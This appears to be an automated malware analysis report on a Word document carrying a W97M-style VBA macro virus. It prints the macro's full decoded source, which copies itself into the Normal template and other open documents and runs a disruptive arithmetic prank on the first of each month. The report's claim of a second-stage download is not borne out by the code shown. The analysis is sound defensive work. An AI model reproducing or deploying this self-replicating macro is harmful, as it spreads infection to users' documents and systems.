Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bc6088af3a44780a…

MALICIOUS

Office (OLE)

43.0 KB Created: 2014-01-04 12:18:00 Authoring application: Microsoft Office Word First seen: 2015-09-17
MD5: 3a9b99aafe3dae724d144a8e18d6f5f0 SHA-1: 9a3f1badfd8e415a3f06b989212466102cb6b2ec SHA-256: bc6088af3a44780a5fc0a62c055988ce1af9ad0f6339570a51173e95ea7a652e
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for initial execution in malicious Office documents. The macro attempts to replicate itself and appears to be designed to download and execute a second-stage payload, as indicated by the self-replication heuristic and the structure of the VBA code. The macro also includes a deceptive 'mental arithmetic game' to engage the user, which is a common social engineering tactic.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        .DeleteLines 1, .CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3136 bytes
SHA-256: 4c53205560f236004160ea45c9421705f5612c49ceb5b21dce0f80f4e4106692
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Macro_2:moonlight
Dim nm(4)
Sub Document_Open()
'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
    Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'moonlight" Then
    .DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
    If ThisDocument = NormalTemplate Then
        .ReplaceLine 3, "Sub Document_Open()"
        ActiveDocument.SaveAs ActiveDocument.FullName
    End If
End If
End With
Count = 0
If Day(Now()) = 1 Then
try:
        On Error GoTo try
        test = -1
        con = 1
        tog$ = ""
        i = 0
        While test = -1
            For i = 0 To 4
                nm(i) = Int(Rnd() * 10)
                con = con * nm(i)
                If i = 4 Then
                    tog$ = tog$ + Str$(nm(4)) + "=?"
                    GoTo beg
                End If
                tog$ = tog$ + Str$(nm(i)) + "*"
            Next i
beg:
        Beep
        ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
        If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
            Documents.Add
            Selection.Paragraphs.Alignment = wdAlignParagraphCenter
            Beep
            With Selection.Font
                .Name = "细明体"
                .Size = 16
                .Bold = 1
                .Underline = 1
            End With
            Selection.InsertAfter Text:="何谓宏病毒"
            Selection.InsertParagraphAfter
            Beep
            Selection.InsertAfter Text:="答案:"
            Selection.Font.Italic = 1
            Selection.InsertAfter Text:="我就是......"
            Selection.InsertParagraphAfter
            Selection.InsertParagraphAfter
            Selection.Font.Italic = 0
            Beep
            Selection.InsertAfter Text:="如何预防宏病毒"
            Selection.InsertParagraphAfter
            Beep
            Selection.InsertAfter Text:="答案:"
            Selection.Font.Italic = 1
            Selection.InsertAfter Text:="不要看我......"
            GoTo out
            Else
                Count = Count + 1
                For j = 1 To 20
                    Beep
                    Documents.Add
                Next j
            Selection.Paragraphs.Alignment = wdAlignParagraphCenter
            Selection.InsertAfter Text:="宏病毒"
            If Count = 2 Then GoTo out
            GoTo try
        End If
Wend
End If
out:
End Sub